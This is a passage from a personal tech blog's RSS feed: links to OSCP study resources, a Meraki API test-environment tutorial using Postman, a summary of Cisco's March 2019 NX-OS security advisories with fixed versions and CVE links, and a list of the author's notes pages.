&lt;li&gt;&lt;a href=&#34;https://chryzsh.gitbooks.io/pentestbook/&#34;&gt;Introduction · pentestbook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://xapax.gitbooks.io/security/content/&#34;&gt;Introduction · Security – My notepad&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ired.team/offensive-security-experiments/offensive-security-cheetsheets&#34;&gt;Pentesting Cheatsheets – Red Teaming Experiments&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://0daysecurity.com/pentest.html&#34;&gt;Penetration Testing Methodology – 0DAYsecurity.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;other-links&#34;&gt;Other Links&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://support.offensive-security.com/#!pwk-network-intro-guide.md&#34;&gt;PWK Network Introduction Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;offsec-forums&#34;&gt;OffSec Forums&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://forums.offensive-security.com/showthread.php?2191-FAQ-Questions-about-the-OSCP-Exam&#34;&gt;Offensive Security Forums – [FAQ] Questions about the OSCP Exam&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://forums.offensive-security.com/showthread.php?2751-Network-Introduction-Guide&#34;&gt;Offensive Security Forums – Network Introduction Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://forums.offensive-security.com/forumdisplay.php?87-PWK-Resources-and-Downloads&#34;&gt;Offensive Security Forums – PWK Resources and Downloads&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;https://forums.offensive-security.com/showthread.php?11787-Forum-Layout-READ!&#34;&gt;Offensive Security Forums – Layout&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>oscp</category>
            
          
            
              <category>security</category>
            
          
            
              <category>notes</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>How to set up a Meraki API Test environment</title>
        <link>https://ben.the-collective.net/posts/2019-06-19-how-to-set-up-a-meraki-api-test-environment/</link>
        <pubDate>Wed, 19 Jun 2019 19:18:14 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 19 Jun 2019 19:18:14 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2019-06-19-how-to-set-up-a-meraki-api-test-environment/</guid>
        <description>I needed to set up and Meraki API key to test, well an Meraki API that was in beta. This is the process I used to get started with some of the basics of the Meraki API and getting a test environment up and running. There are lots of great references covering the basics of REST APIs like the REST API Tutorial. These resources will do a much better job then I can of explaining REST APIs.</description>
        <content:encoded>&lt;p&gt;I needed to set up and Meraki API key to test, well an Meraki API that was in beta. This is the process I used to get started with some of the basics of the Meraki API and getting a test environment up and running. There are lots of great references covering the basics of REST APIs like the &lt;a href=&#34;https://restapitutorial.com/&#34;&gt;REST API Tutorial&lt;/a&gt;. These resources will do a much better job then I can of explaining REST APIs. I found there was a lack of guide for the initial steps of building the data you need to get started with the Meraki API.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: The screenshots are from late 2018 and may have changed over time.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&#34;api-key-generation&#34;&gt;API Key Generation&lt;/h2&gt;
&lt;p&gt;&lt;img src=&#34;../2019-06-19-how-to-set-up-a-meraki-api-test-environment-images/Screen-Shot-2018-10-29-at-20.23.28.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
First things first you will need to login to the Meraki Dashboard. Once there, you will navigate using the menu on the left to Organization -&amp;gt; Settings.&lt;/p&gt;
&lt;p&gt;On the settings screen scroll down to Dashboard API Access, and check “Enable access to the Meraki Dashboard API” and click Save at the bottom. Once the general access is enabled you will need to click the “profile” link to go to the screen where you generate an API Key to use than making REST API calls.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2019-06-19-how-to-set-up-a-meraki-api-test-environment-images/Screen-Shot-2018-10-29-at-20.23.21.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
On the API access click the “Generate new API Key” button. If the button is not there I found with my account I can only have a maximum of two API keys generated at any point in time. Once I deleted one key the button came back.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2019-06-19-how-to-set-up-a-meraki-api-test-environment-images/Screen-Shot-2018-10-29-at-20.23.57.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
After clicking the button a dialogue similar to this showing you your new key, this key is only shown once so make a note of it since you will use it to authenticate your API calls.&lt;/p&gt;
&lt;h2 id=&#34;now-that-you-have-a-key-what-to-do-with-it&#34;&gt;Now that you have a key what to do with it?&lt;/h2&gt;
&lt;p&gt;&lt;img src=&#34;../2019-06-19-how-to-set-up-a-meraki-api-test-environment-images/Screen-Shot-2018-10-29-at-21.22.48.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Meraki has an extensive API with many calls and you will want a tool to start to test some of the calls. A good utility to start testing with is &lt;a href=&#34;https://www.getpostman.com/&#34;&gt;Postman&lt;/a&gt;. This tool allows you to make REST API calls using a convenient GUI. I won’t go into complete detail on how to use Postman but cover some highlights to getting it &lt;g class=&#34;gr_ gr_6 gr-alert gr_spell gr_inline_cards gr_run_anim ContextualSpelling ins-del&#34; data-gr-id=&#34;6&#34; id=&#34;6&#34;&gt;setup&lt;/g&gt; to test some Meraki API calls.&lt;/p&gt;
&lt;p&gt;A useful feature of Postman is the ability to import collections of API calls. The collection of Meraki Dashboard calls is at &lt;a href=&#34;https://create.meraki.io/postman&#34;&gt;https://create.meraki.io/postman&lt;/a&gt;. Once there click “Run in Postman” in the upper right and it will ask to open the Postman client. Once you import the collection there will need to be some variables you will need to discover and fill in:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;X-Cisco-Meraki-API-Key&lt;/li&gt;
&lt;li&gt;organizationId&lt;/li&gt;
&lt;li&gt;networkId&lt;/li&gt;
&lt;li&gt;baseUrl&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To set these variables you will need to edit the newly imported Postman collection, you can right click on the collection and select “Edit.”&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2019-06-19-how-to-set-up-a-meraki-api-test-environment-images/Screen-Shot-2018-10-29-at-21.26.21.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Then select the Variables tab, I have populated these vari&lt;g class=&#34;gr_ gr_3 gr-alert gr_spell gr_inline_cards gr_run_anim ContextualSpelling ins-del multiReplace&#34; data-gr-id=&#34;3&#34; id=&#34;3&#34;&gt;a&lt;/g&gt;bles already in the screenshot, you will need to type them in.&lt;/p&gt;
&lt;figure class=&#34;wp-block-image is-resized&#34;&gt;![](../2019-06-19-how-to-set-up-a-meraki-api-test-environment-images/Screen-Shot-2018-10-29-at-21.27.59.png)
Now you ask where do I find the values for these variables. I’ll cover the calls that are made to collect the values you need in the next few sections.
&lt;h2 id=&#34;meraki-api-url-baseurl-and-api-key&#34;&gt;Meraki API URL (baseUrl) and API Key&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;baseURL&lt;/strong&gt;&lt;br /&gt;
The first variable you will set it the &lt;em&gt;baseUrl&lt;/em&gt; this is the URL that Postman will use to send REST API calls to. In general for testing you can the use URL:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;lt;pre class=&amp;#34;wp-block-preformatted&amp;#34;&amp;gt;https://dashboard.meraki.com/api/v0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will work for testing and non-production. Once you go to production you will want to point to the specific shard you are hosted on such as:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;lt;pre class=&amp;#34;wp-block-preformatted&amp;#34;&amp;gt;https://n466.meraki.com/api/v0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;X-Cisco-Meraki-API-Key&lt;/strong&gt;&lt;br /&gt;
We will also need to set the API key which we generated earlier. This is stored in the &lt;em&gt;X-Cisco-Meraki-API-Key&lt;/em&gt; variable. This variable sets the header also named &lt;em&gt;X-Cisco-Meraki-API-Key&lt;/em&gt; in REST calls. This is used to authenticate the REST calls.&lt;/p&gt;
&lt;p&gt;With these two variables set you can start to discover the organizationId and networkIds.&lt;/p&gt;
&lt;h3 id=&#34;finding-the-organizationid&#34;&gt;Finding the “organizationId”&lt;/h3&gt;
&lt;p&gt;&lt;img src=&#34;../2019-06-19-how-to-set-up-a-meraki-api-test-environment-images/Screen-Shot-2018-10-29-at-22.04.07.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
To find the organizationId, in Postman navigate to “Organizations -&amp;gt; List organizations this user has access to” in the sidebar on the left.&lt;/p&gt;
&lt;p&gt;The query in Postman looks like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2019-06-19-how-to-set-up-a-meraki-api-test-environment-images/Screen-Shot-2018-10-29-at-22.04.30.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The full REST URL to retrieve the Meraki Organizations you have access to is: &lt;a href=&#34;https://dashboard.meraki.com/api/v0/organizations&#34;&gt;https://dashboard.meraki.com/api/v0/organizations&lt;/a&gt;&lt;br /&gt;
The data returned shows the organizations you have access to. The “id” number is the field used to select the organization you wish to query&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;lt;pre class=&amp;#34;wp-block-preformatted&amp;#34;&amp;gt;[ { &amp;#34;id&amp;#34;: 1234567, &amp;#34;name&amp;#34;: &amp;#34;Organization name&amp;#34; } 
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;finding-the-networkids&#34;&gt;Finding the “networkIds”&lt;/h3&gt;
&lt;p&gt;&lt;img src=&#34;../2019-06-19-how-to-set-up-a-meraki-api-test-environment-images/Screen-Shot-2018-10-29-at-22.08.10.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Many calls I have worked will use either &lt;g class=&#34;gr_ gr_137 gr-alert gr_gramm gr_inline_cards gr_run_anim Style multiReplace&#34; data-gr-id=&#34;137&#34; id=&#34;137&#34;&gt;the &lt;/g&gt;&lt;code&gt;organizationID&lt;/code&gt;&lt;g class=&#34;gr_ gr_137 gr-alert gr_gramm gr_inline_cards gr_disable_anim_appear Style multiReplace&#34; data-gr-id=&#34;137&#34; id=&#34;137&#34;&gt; or&lt;/g&gt;&lt;g class=&#34;gr_ gr_158 gr-alert gr_gramm gr_inline_cards gr_run_anim Style multiReplace&#34; data-gr-id=&#34;158&#34; id=&#34;158&#34;&gt;a &lt;/g&gt;&lt;code&gt;networkId&lt;/code&gt;&lt;g class=&#34;gr_ gr_158 gr-alert gr_gramm gr_inline_cards gr_disable_anim_appear Style multiReplace&#34; data-gr-id=&#34;158&#34; id=&#34;158&#34;&gt;.&lt;/g&gt; In most organizations, there are multiple networks in the organization you are querying. Each of the networks is identified by the &lt;code&gt;networkId&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The full REST URL to retrieve the Meraki Networks in an Organization you have access to is: &lt;a href=&#34;https://dashboard.meraki.com/api/v0/organizations/1234567/networks&#34;&gt;https://dashboard.meraki.com/api/v0/organizations/1234567/networks&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2019-06-19-how-to-set-up-a-meraki-api-test-environment-images/Screen-Shot-2018-10-29-at-22.04.30.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The output below will list all of the networks in the Organization, the field labeled “id” is what you will use to query data for a specific network.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;lt;pre class=&amp;#34;wp-block-preformatted&amp;#34;&amp;gt;[ &amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;{ &amp;#34;id&amp;#34;: &amp;#34;L_234567890&amp;#34;, &amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;  &amp;#34;organizationId&amp;#34;: &amp;#34;1234567&amp;#34;, &amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;  &amp;#34;name&amp;#34;: &amp;#34;Test Network&amp;#34;, &amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;  &amp;#34;timeZone&amp;#34;: &amp;#34;US/Eastern&amp;#34;, &amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;  &amp;#34;tags&amp;#34;: null, &amp;#34;type&amp;#34;: &amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;  &amp;#34;combined&amp;#34;, &amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;  &amp;#34;disableMyMerakiCom&amp;#34;: false }, &amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;{ &amp;#34;id&amp;#34;: &amp;#34;N_678901234&amp;#34;, &amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;  &amp;#34;organizationId&amp;#34;: &amp;#34;1234567&amp;#34;, &amp;lt;br&amp;gt;&amp;lt;/br&amp;gt; &amp;#34;name&amp;#34;: &amp;#34;Systems Manager&amp;#34;, &amp;lt;br&amp;gt;&amp;lt;/br&amp;gt; &amp;#34;timeZone&amp;#34;: &amp;#34;America/Detroit&amp;#34;, &amp;lt;br&amp;gt;&amp;lt;/br&amp;gt; &amp;#34;tags&amp;#34;: null, &amp;lt;br&amp;gt;&amp;lt;/br&amp;gt; &amp;#34;type&amp;#34;: &amp;#34;systems manager&amp;#34; } &amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;] 
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;done&#34;&gt;Done?&lt;/h2&gt;
&lt;p&gt;Now there is a test environment to play and learn how the various API calls work and what data can be collected, set, or deleted. Postman is just the start for experimentation and to&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://create.meraki.io/&#34;&gt;https://create.meraki.io/&lt;/a&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/How-to-set-up-a-Meraki-API-Test-environment.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>api</category>
            
          
            
              <category>meraki</category>
            
          
            
              <category>networking</category>
            
          
            
              <category>programing</category>
            
          
        
        
          
            
              <category>Networking</category>
            
          
        
        
      </item>
      
      <item>
        <title>March 2019 NX-OS Vulnerability Dump</title>
        <link>https://ben.the-collective.net/posts/2019-03-07-march-2019-nx-os-vulnerability-dump/</link>
        <pubDate>Thu, 07 Mar 2019 10:42:24 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Thu, 07 Mar 2019 10:42:24 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2019-03-07-march-2019-nx-os-vulnerability-dump/</guid>
        <description>On March 6th Cisco released 29 high and medium rated PSIRT notices for NX-OS based platforms. These platforms include the Cisco Nexus 3000 – 9000 series and Nexus adjacent platforms FX-OS and UCS Fabric Interconnect platforms. Not all advisories affect all platforms but all platforms are affected by at least one high rated vulnerability. The vulnerabilities range from command and code execution, privilege escalation, denial of service, and arbitrary file read vulnerabilities.</description>
        <content:encoded>&lt;p&gt;On March 6th Cisco released 29 high and medium rated PSIRT notices for NX-OS based platforms. These platforms include the Cisco Nexus 3000 – 9000 series and Nexus adjacent platforms FX-OS and UCS Fabric Interconnect platforms. Not all advisories affect all platforms but all platforms are affected by at least one high rated vulnerability. The vulnerabilities range from command and code execution, privilege escalation, denial of service, and arbitrary file read vulnerabilities. This is just about everything bad that could affect core infrastructure devices.&lt;/p&gt;
&lt;p&gt;If you haven’t updated your switch in a while this is probably the time too. Within some of the advisories Cisco notes that they are providing free updates:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Cisco has released free software updates that address the vulnerability described in this advisory. Customers may only install and expect support for software versions and feature sets for which they have purchased a license.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I’ve included a table of the fixed in versions notes as of the writing of this post. I would recommend looking at the advisories to assist in selecting the best version as there are other code versions that have integrated the fixes.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Platform&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Nexus 1000v&lt;/td&gt;
&lt;td&gt;5.2(1)SM3(2.1) (Hyper-V) 5.2(1)SV3(4.1a) (VMWare)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nexus 3000 &lt;br&gt;Nexus 3500 &lt;br&gt;Nexus 3600&lt;/td&gt;
&lt;td&gt;9.2(2)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nexus 5500, 5600, and 6000 &lt;br&gt;Nexus 7000 and 7700&lt;/td&gt;
&lt;td&gt;8.3(3)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nexus 9000 and 9500&lt;/td&gt;
&lt;td&gt;9.2(2)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UCS 6200 and 6300 Series Fabric Interconnects &lt;br&gt;UCS 6400 Series Fabric Interconnects&lt;/td&gt;
&lt;td&gt;4.0(2a)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Cisco has a bundled advisory for all of the high rated notices at the following link,&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/viewErp.x?alertId=ERP-70757&#34;&gt;Cisco Event Response: March 2019 Cisco FXOS and NX-OS Software Security Advisory Bundled Publication&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I have also included a laundry list of notices including both high and medium rated vulnerabilities for your reference.&lt;/p&gt;
&lt;p&gt;Happy patching!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-aci-controller-privsec&#34;&gt;CVE-2019-1585 Cisco Nexus 9000 Series Fabric Switches Application-Centric Infrastructure Mode Privilege Escalation Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-aci-file-read&#34;&gt;CVE-2019-1588 Cisco Nexus 9000 Series Fabric Switches Application-Centric Infrastructure Mode Arbitrary File Read Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-aci-shell-escape&#34;&gt;CVE-2019-1591 Cisco Nexus 9000 Series Fabric Switches Application Centric Infrastructure Mode Shell Escape Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nexus-fbr-dos&#34;&gt;CVE-2019-1595 Cisco Nexus 5600 and 6000 Series Switches Fibre Channel over Ethernet Denial of Service Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nx-os-api-ex&#34;&gt;CVE-2019-1605 Cisco NX-OS Software NX-API Arbitrary Code Execution Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nx-os-bash-escal&#34;&gt;CVE-2019-1593 Cisco NX-OS Software Bash Shell Role-Based Access Control Bypass Privilege Escalation Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nx-os-lan-auth&#34;&gt;CVE-2019-1594 Cisco NX-OS Software 802.1X Extensible Authentication Protocol over LAN Denial of Service Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-NXAPI-cmdinj&#34;&gt;CVE-2019-1614 Cisco NX-OS Software NX-API Command Injection Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-cmdinj-1606&#34;&gt;CVE-2019-1606 Cisco NX-OS Software CLI Command Injection Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-cmdinj-1607&#34;&gt;CVE-2019-1607 Cisco NX-OS Software CLI Command Injection Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-cmdinj-1608&#34;&gt;CVE-2019-1608 Cisco NX-OS Software CLI Command Injection Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-cmdinj-1609&#34;&gt;CVE-2019-1609 Cisco NX-OS Software CLI Command Injection Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-cmdinj-1610&#34;&gt;CVE-2019-1610 Cisco NX-OS Software CLI Command Injection Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-cmdinj-1611&#34;&gt;CVE-2019-1611 Cisco FXOS and NX-OS Software CLI Command Injection Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-cmdinj-1612&#34;&gt;CVE-2019-1612 Cisco NX-OS Software CLI Command Injection Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-cmdinj-1613&#34;&gt;CVE-2019-1613 Cisco NX-OS Software CLI Command Injection Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-directory&#34;&gt;CVE-2019-1600 Cisco FXOS and NX-OS Software Unauthorized Directory Access Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-escalation&#34;&gt;CVE-2019-1602 Cisco NX-OS Software Privilege Escalation Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-fabric-dos&#34;&gt;CVE-2019-1616 Cisco NX-OS Software Cisco Fabric Services Denial of Service Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-file-access&#34;&gt;CVE-&lt;br /&gt;
2019-1601 Cisco NX-OS Software Unauthorized Filesystem Access Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-netstack&#34;&gt;CVE-2019-1599 Cisco NX-OS Software Netstack Denial of Service Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-npv-dos&#34;&gt;CVE-2019-1617 Cisco Nexus 9000 Series Switches Standalone NX-OS Mode Fibre Channel over Ethernet NPV Denial of Service Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-pe&#34;&gt;CVE-2019-1596 Cisco NX-OS Software Bash Shell Privilege Escalation Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-privesc&#34;&gt;CVE-2019-1603 Cisco NX-OS Software Privilege Escalation Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-privesca&#34;&gt;CVE-2019-1604 Cisco NX-OS Software Privilege Escalation Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-sig-verif&#34;&gt;CVE-2019-1615 Cisco NX-OS Software Image Signature Verification Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxosldap&#34;&gt;CVE-2019-1597 and CVE-2019-1598 Cisco FXOS and NX-OS Lightweight Directory Access Protocol Denial of Service Vulnerabilities &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-tetra-ace&#34;&gt;CVE-2019-1618 Cisco Nexus 9000 Series Switches Standalone NX-OS Mode Tetration Analytics Agent Arbitrary Code Execution Vulnerability &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        
        
        
        
          
            
              <category>cisco</category>
            
          
            
              <category>nexus</category>
            
          
            
              <category>vulnerability</category>
            
          
        
        
          
            
              <category>Networking</category>
            
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>My Notes</title>
        <link>https://ben.the-collective.net/my-notes/</link>
        <pubDate>Sun, 08 Jul 2018 12:31:21 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Sun, 08 Jul 2018 12:31:21 -0400</atom:modified>
        <guid>https://ben.the-collective.net/my-notes/</guid>
        <description>This is a collection of notes from my notebook I’ve made for various language, applications and whatever else I am doing. The notes are informal, random and not comprehensive.
AVR Development C Notes gdb notes git / GitHub notes Pointers in C / C++ Radare2 Cheatsheet STM32 Development Notes Strings in C tmux Notes VI Notes </description>
        <content:encoded>&lt;p&gt;This is a collection of notes from my notebook I’ve made for various language, applications and whatever else I am doing. The notes are informal, random and not comprehensive.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/my-notes/avr-development/&#34;&gt;AVR Development&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/my-notes/c-notes/&#34;&gt;C Notes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/my-notes/gdb-notes/&#34;&gt;gdb notes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/my-notes/git-github-notes/&#34;&gt;git / GitHub notes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/my-notes/pointers-in-c-c/&#34;&gt;Pointers in C / C++&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/my-notes/radare2-cheatsheet/&#34;&gt;Radare2 Cheatsheet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/my-notes/stm32-development-notes/&#34;&gt;STM32 Development Notes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/my-notes/strings-in-c/&#34;&gt;Strings in C&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/my-notes/tmux-notes/&#34;&gt;tmux Notes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/my-notes/vi-notes/&#34;&gt;VI Notes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
        
        
      </item>
      
      <item>
        <title>Small Projects: Temperature, Humidity and Light Sensor</title>
        <link>https://ben.the-collective.net/posts/2017-08-23-small-projects-temperature-humidity-and-light-sensor/</link>
        <pubDate>Wed, 23 Aug 2017 23:05:45 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 23 Aug 2017 23:05:45 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2017-08-23-small-projects-temperature-humidity-and-light-sensor/</guid>
        <description>This post is some free-ish form notes about a project that is either work in progress or complete.
